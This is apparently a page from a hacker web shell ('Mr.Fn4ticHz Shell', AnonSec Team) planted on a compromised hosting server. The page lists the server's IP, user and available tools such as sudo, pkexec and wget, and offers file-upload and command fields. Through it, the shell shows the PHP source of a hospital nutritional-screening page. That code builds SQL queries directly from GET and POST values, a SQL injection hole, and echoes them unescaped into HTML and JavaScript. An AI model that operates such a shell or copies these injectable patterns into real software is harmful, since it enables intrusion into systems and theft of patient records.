Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.15.151.32
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_showpage_NutritionalScreening.php
<?php session_start();
include 'dbconnection.php';
include 'header.php';
include 'dashboarddocument.php';
require_once("../patientmanager.php");
require_once("../DBManager.php");
$target_dir = "uploads/";
$filename = basename($_FILES["Upload_MLC_Slip"]["name"]);
$target_file = $target_dir . basename($_FILES["Upload_MLC_Slip"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST['Nutritional_Screening'])) 
{
    	$updated_at=date("F d, Y / h:i:s A");
 $sql="UPDATE Nutritional_Screening SET weight_loss='$_POST[weight_loss]',BMI='$_POST[BMI]',patient_look='$_POST[patient_look]',last_2_weeks='$_POST[last_2_weeks]',enteral_tube='$_POST[enteral_tube]',parenteral_tube='$_POST[parenteral_tube]',Pattern_Followed='$_POST[Pattern_Followed]',Appetite='$_POST[Appetite]',created_at='$_POST[created_at]',updated_at='$updated_at' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
$sql1 ="UPDATE save_activity SET created_at='$_POST[created_at]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND userno='$_GET[patientid]' AND discription='Intial Assessment<br>Nutritional Screening<br>Doc.no-'";
if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1))
		    {
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>
<?php
$DisplayForm=True;
$sql ="SELECT * FROM request_for_admissionfinal WHERE prescriptionid='$_GET[prescriptionid]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "<script>window.location='showrequestforadmission.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'</script>";
}
if($DisplayForm)
{
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="euc-kr">
    <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  
  <style>
       .box{
              display: none;
     }
    
    .box2{
              display: none;
    
    }
            
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
  </style>
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box2").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box2").hide();
            }
        });
    }).change();
});
</script>
     <style>
    
     .switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}

</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});


  </script> 
  
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:10000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
   <div class='center'>
       <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
       <form name="Nutritional_Screening" method="post" id='myForm'>
    <?php
    include 'dbconnection.php';
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['typevisit'];
if($usertype == 'OPD'){
    echo " <h3 align='center'>Nutritional Screening </h3> ";
} else{
    echo " <h3 align='center'>Nutritional Screening  </h3>";
}
}
?>

 
 <table id="example2" class="table table-bordered table-hover"> 
 
     <?php
    include 'dbconnection.php';
$sql ="SELECT * FROM Nutritional_Screening WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"<table id='example2' class='table table-bordered table-hover'>
		     <tr><td width='50%'> Date & Time</td><td width='50%'> <input id='party' value='$rs[created_at]' type='text' name='created_at'></td></tr>";
if($rs[weight_loss] == 'on'){
    echo"
     <tr>
<td><span style='font-size: 20px'>Does the patient have any weight loss/ Weight gain? </span></h3></td><td><label class='switch'>
  <input name='weight_loss' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else
{
    echo"    <tr>
<td><span style='font-size: 20px'>Does the patient have any weight loss/ Weight gain? </span></h3></td><td><label class='switch'>
  <input name='weight_loss' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>";
}
if($rs[BMI] == 'on'){
    echo"
<tr>
<td><span style='font-size: 20px'>Does the patient appear emaciated or BMI is Below <18.5 ?       </span></h3></td><td><label class='switch'>
  <input name='BMI' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else
{
   echo"
   
  <tr>
<td><span style='font-size: 20px'>Does the patient appear emaciated or BMI is Below <18.5 ?       </span></h3></td><td><label class='switch'>
  <input name='BMI' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}

if($rs[patient_look] == 'on'){
    echo"
<tr>
<td><span style='font-size: 20px'>Does the patient look Obese or BMI is above >30    </span></h3></td><td><label class='switch'>
  <input name='patient_look'  type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else
{
    echo"
 <tr>
<td><span style='font-size: 20px'>Does the patient look Obese or BMI is above >30    </span></h3></td><td><label class='switch'>
  <input name='patient_look'  type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[last_2_weeks] == 'on'){
    echo"
<tr>
<td><span style='font-size: 20px'>Does the patient have any GL Symptoms like Constipation, Nausea, Diarrhea, Anorexia, Vomiting, chewing/swallowing difficulty affecting oral intake in last 2 weeks    </span></h3></td><td><label class='switch'>
  <input name='last_2_weeks' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else
{
 echo"
 <tr>
<td><span style='font-size: 20px'>Does the patient have any GL Symptoms like Constipation, Nausea, Diarrhea, Anorexia, Vomiting, chewing/swallowing difficulty affecting oral intake in last 2 weeks    </span></h3></td><td><label class='switch'>
  <input name='last_2_weeks' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[enteral_tube] == 'on'){
    echo"
   <tr>
<td><span style='font-size: 20px'>Does the patient have any enteral tube feeding  </span></h3></td><td><label class='switch'>
  <input name='enteral_tube' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else
{
   echo"
   <tr>
<td><span style='font-size: 20px'>Does the patient have any enteral tube feeding  </span></h3></td><td><label class='switch'>
  <input name='enteral_tube' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
if($rs[parenteral_tube] == 'on'){
    echo"
<tr>
<td><span style='font-size: 20px'>Does the patient have any parenteral tube feeding  </span></h3></td><td><label class='switch'>
  <input name='parenteral_tube' type='checkbox' checked>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
else
{
  echo"
<tr>
<td><span style='font-size: 20px'>Does the patient have any parenteral tube feeding  </span></h3></td><td><label class='switch'>
  <input name='parenteral_tube' type='checkbox'>
  <span class='slider'></span>
</label>
</td>
</tr>
";
}
}
?>
</table>

					      <table id="example2" class="table table-bordered table-hover"> 
                  <thead>
                      
 <?php
    include 'dbconnection.php';
$sql ="SELECT * FROM Nutritional_Screening WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		    echo"
		    
		    <tr> <td> Food Pattern Followed </td><td><select name='Pattern_Followed'>
        <option value='$rs[Pattern_Followed]'>$rs[Pattern_Followed]</option>
       <option value='Vegetarian'>Vegetarian</option>
    <option value='Eggetarian'>Eggetarian</option>
    <option value='Non-vegetarian'>Non-vegetarian</option>
  </select></td></tr>
  
  <tr> <td> Appetite </td><td><select name='Appetite'>
        <option value='$rs[Appetite]'>$rs[Appetite]</option>
       <option value='Good'>Good</option>
    <option value='Fair'>Fair</option>
    <option value='Poor'>Poor</option>
        <option value='Routinely_Skips_Meals'>Routinely Skips Meals</option>
</select></td></tr>
";
}
?>
              </tr>
              
              </thead>
                  
                   </tbody>
  <tfoot>
          </tfoot>
        </table>   
       
                         <script>
function vitals(id) {
  var x = document.getElementById(id);
  if (x.className.indexOf("w3-show") == -1) {
    x.className += " w3-show";
  } else { 
    x.className = x.className.replace(" w3-show", "");
  }
}
</script>

<input type="submit" name="Nutritional_Screening" value="Update">
<br><br>
</div>

</form>

<script src="../plugins/select2/js/select2.full.min.js"></script>
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
    </script>

<?php
}
?>
</body>
</html> 

Anon7 - 2022
AnonSec Team